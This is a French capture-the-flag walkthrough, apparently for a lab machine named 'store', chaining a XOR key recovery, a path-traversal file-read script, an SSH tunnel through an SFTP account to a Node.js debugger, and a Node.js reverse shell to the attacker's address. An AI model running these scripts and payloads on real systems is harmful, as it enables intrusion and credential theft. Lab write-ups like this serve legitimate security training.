Étape 1 — Récupération de la clé XOR par attaque texte clair connu
On upload un fichier dont on connaît le contenu exact (dans notre cas un fichier PNG que l’on possède), puis on récupère sa version chiffrée depuis /tmp/. En XOR-ant les deux, on extrait le keystream :
python3
>>> import requests
>>> resp = requests.get('http://10.129.238.32:5000/tmp/sample-upload.png')
>>> enc = resp.content
>>> with open('/home/user/images/sample-upload.png', 'rb') as f:
... pt = f.read()
>>> keystream = [c ^ p for c, p in zip(enc, pt)]
>>> ''.join([chr(x) for x in keystream[:40]])
'Hm9zeWC38Hm9zeWC38Hm9zeWC38Hm9zeWC38Hm9z'
Le keystream se répète toutes les 9 positions : la clé est Hm9zeWC38. On le vérifie sur un autre fichier :
>>> from itertools import cycle
>>> resp2 = requests.get('http://10.129.238.32:5000/tmp/test.txt')
>>> enc2 = resp2.content
>>> ''.join(chr(e ^ k) for e, k in zip(enc2, cycle(b"Hm9zeWC38")))
'test de chiffrement
'
Le déchiffrement fonctionne. La même clé est utilisée pour tous les fichiers, quelle que soit leur nature ou leur propriétaire.
Étape 2 — Lecture arbitraire de fichiers système via le Path Traversal
On écrit un script Python qui automatise le processus : traversal vers n’importe quel chemin absolu, récupération du base64 depuis le HTML de réponse, déchiffrement XOR avec la clé connue :
#!/usr/bin/env python3
import base64, re, requests, sys
from itertools import cycle
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <host> <chemin_absolu>")
sys.exit()
host = sys.argv[1]
enc_path = sys.argv[2].replace('/', '%2f')
try:
resp = requests.get(
f'http://{host}:5000/file/..%2f..%2F..%2F..%2F..%2F..{enc_path}',
timeout=0.5
)
except requests.exceptions.ReadTimeout:
print("<Fichier introuvable>")
sys.exit()
enc_b64 = re.search(
r'data:application/octet-stream;charset=utf-8;base64,(.+?)"',
resp.text
).group(1)
enc = base64.b64decode(enc_b64)
pt = ''.join(chr(e ^ k) for e, k in zip(enc, cycle(b"Hm9zeWC38")))
print(pt)
Quand le fichier n’existe pas, le serveur reste en attente indéfiniment. On gère ce cas avec un timeout court. On valide :
python3 file_read.py 10.129.238.32 /etc/hostname
store
python3 file_read.py 10.129.238.32 /etc/fichier_inexistant
<Fichier introuvable>
On lit /etc/passwd et on identifie les utilisateurs avec un shell :
python3 file_read.py 10.129.238.32 /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
dev:x:1001:1001:,,,:/home/dev:/bin/bash
On trouve aussi sftpuser:x:1002:1002:,,,:/home/sftpuser:/bin/false (pas de shell). On lit ensuite le fichier .env :
python3 file_read.py 10.129.238.32 /home/dev/projects/store1/.env
SFTP_URL=sftp://sftpuser:WidK52pWBtWQdcVC@localhost
SECRET=Hm9zeWC38
STORE_HOME=/home/dev/projects/store1
PORT=5000
Identifiants SFTP exfiltrés : sftpuser / WidK52pWBtWQdcVC.
Étape 3 — Tunnel SSH via le compte SFTP pour atteindre l’inspecteur Node.js
La configuration /etc/ssh/sshd_config impose ForceCommand internal-sftp pour sftpuser, mais ne désactive pas AllowTcpForwarding. On peut donc créer un tunnel local vers le port 9229 (inspecteur Node.js) sans exécuter de commande distante :
ssh [email protected] -N -L 9229:127.0.0.1:9229
([email protected]) Password: WidK52pWBtWQdcVC
L’option -N empêche l’exécution d’une commande distante ; le tunnel reste actif en arrière-plan. On vérifie que le port est bien en écoute localement :
netstat -tnlp | grep 9229
tcp 0 0 127.0.0.1:9229 0.0.0.0:* LISTEN [PID]/ssh
Le port 9229 local est maintenant relayé vers l’inspecteur Node.js de la cible.
Étape 4 — Exécution de code via l’inspecteur Node.js → shell en tant que dev
Le protocole d’inspection V8 est accessible depuis Chromium via chrome://inspect. Dès que le tunnel SSH est actif, la cible distante apparaît automatiquement dans la liste des cibles déboguables. En cliquant sur "inspect", on ouvre une fenêtre DevTools qui donne accès à une console JavaScript exécutée dans le contexte du processus Node.js.
On y colle un payload de reverse shell Node.js (format #2 de revshells.com, adapté à notre IP et port) :
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/bash", []);
var client = new net.Socket();
client.connect(443, "10.10.14.XX", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
On a préalablement ouvert un listener :
nc -lnvp 443
Listening on 0.0.0.0 443
Après exécution dans la console DevTools, la connexion arrive :
Connection received on 10.129.238.32 XXXXX
whoami
dev
On améliore le shell pour le rendre interactif :
script /dev/null -c bash
^Z
stty raw -echo; fg
reset
Terminal type? screen
On récupère le flag user :
cat /home/dev/user.txt
0f4a8fca************************